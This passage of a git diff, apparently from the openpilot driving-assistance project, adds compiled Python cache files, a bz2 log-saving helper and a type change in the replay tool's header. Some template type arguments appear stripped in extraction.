b/third_party/acados/acados_template/__pycache__/generate_c_code_discrete_dynamics.cpython-38.pyc new file mode 100644 index 000000000..f2e542c76 Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/generate_c_code_discrete_dynamics.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/generate_c_code_explicit_ode.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/generate_c_code_explicit_ode.cpython-38.pyc new file mode 100644 index 000000000..7063d83ec Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/generate_c_code_explicit_ode.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/generate_c_code_external_cost.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/generate_c_code_external_cost.cpython-38.pyc new file mode 100644 index 000000000..8e8405892 Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/generate_c_code_external_cost.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/generate_c_code_gnsf.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/generate_c_code_gnsf.cpython-38.pyc new file mode 100644 index 000000000..a6b43007c Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/generate_c_code_gnsf.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/generate_c_code_implicit_ode.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/generate_c_code_implicit_ode.cpython-38.pyc new file mode 100644 index 000000000..974d09c63 Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/generate_c_code_implicit_ode.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/generate_c_code_nls_cost.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/generate_c_code_nls_cost.cpython-38.pyc new file mode 100644 index 000000000..93ce52583 Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/generate_c_code_nls_cost.cpython-38.pyc differ diff --git a/third_party/acados/acados_template/__pycache__/utils.cpython-38.pyc b/third_party/acados/acados_template/__pycache__/utils.cpython-38.pyc new file mode 100644 index 000000000..c62cba36e Binary files /dev/null and b/third_party/acados/acados_template/__pycache__/utils.cpython-38.pyc differ diff --git a/third_party/cluster/__pycache__/__init__.cpython-38.pyc b/third_party/cluster/__pycache__/__init__.cpython-38.pyc new file mode 100644 index 000000000..e9cc6adf9 Binary files /dev/null and b/third_party/cluster/__pycache__/__init__.cpython-38.pyc differ diff --git a/third_party/cluster/__pycache__/fastcluster_py.cpython-38.pyc b/third_party/cluster/__pycache__/fastcluster_py.cpython-38.pyc new file mode 100644 index 000000000..f1c8c7840 Binary files /dev/null and b/third_party/cluster/__pycache__/fastcluster_py.cpython-38.pyc differ diff --git a/third_party/cluster/fastcluster.os b/third_party/cluster/fastcluster.os new file mode 100644 index 000000000..cb0dd99a3 Binary files /dev/null and b/third_party/cluster/fastcluster.os differ diff --git a/tools/lib/helpers.py b/tools/lib/helpers.py index efe704b9e..067b64b6a 100644 --- a/tools/lib/helpers.py +++ b/tools/lib/helpers.py @@ -1,3 +1,4 @@ +import bz2 import datetime TIME_FMT = "%Y-%m-%d--%H-%M-%S" @@ -13,8 +14,19 @@ class RE: EXPLORER_FILE = r'^(?P{})--(?P[a-z]+\.[a-z0-9]+)$'.format(SEGMENT_NAME) OP_SEGMENT_DIR = r'^(?P{})$'.format(SEGMENT_NAME) + def timestamp_to_datetime(t: str) -> datetime.datetime: """ Convert an openpilot route timestamp to a python datetime """ return datetime.datetime.strptime(t, TIME_FMT) + + +def save_log(dest, log_msgs, compress=True): + dat = b"".join(msg.as_builder().to_bytes() for msg in log_msgs) + + if compress: + dat = bz2.compress(dat) + + with open(dest, "wb") as f: + f.write(dat) diff --git a/tools/replay/replay.h b/tools/replay/replay.h index b7704132c..4eb8e3ab3 100644 --- a/tools/replay/replay.h +++ b/tools/replay/replay.h @@ -67,14 +67,14 @@ public: inline double currentSeconds() const { return double(cur_mono_time_ - route_start_ts_) / 1e9; } inline QDateTime currentDateTime() const { return route_->datetime().addSecs(currentSeconds()); } inline uint64_t routeStartTime() const { return route_start_ts_; } - inline int toSeconds(uint64_t mono_time) const { return (mono_time - route_start_ts_) / 1e9; } + inline double toSeconds(uint64_t mono_time) const { return (mono_time - route_start_ts_) / 1e9; } inline int totalSeconds() const { return (!segments_.empty()) ? (segments_.rbegin()->first + 1) * 60 : 0; } inline void setSpeed(float speed) { speed_ = speed; } inline float getSpeed() const { return speed_; } inline const std::vector *events() const { return events_.get(); } inline const std::map> &segments() const { return segments_; }; inline const std::string &carFingerprint() const { return car_fingerprint_; } - inline const std::vector> getTimeline() { + inline const std::vector> getTimeline() { std::lock_guard lk(timeline_lock); return timeline; } @@ -131,7 +131,7 @@ protected: std::mutex timeline_lock; QFuture timeline_future; - std::vector> timeline; + std::vector> timeline; std::set allow_list; std::string car_fingerprint_; float speed_ = 1.0;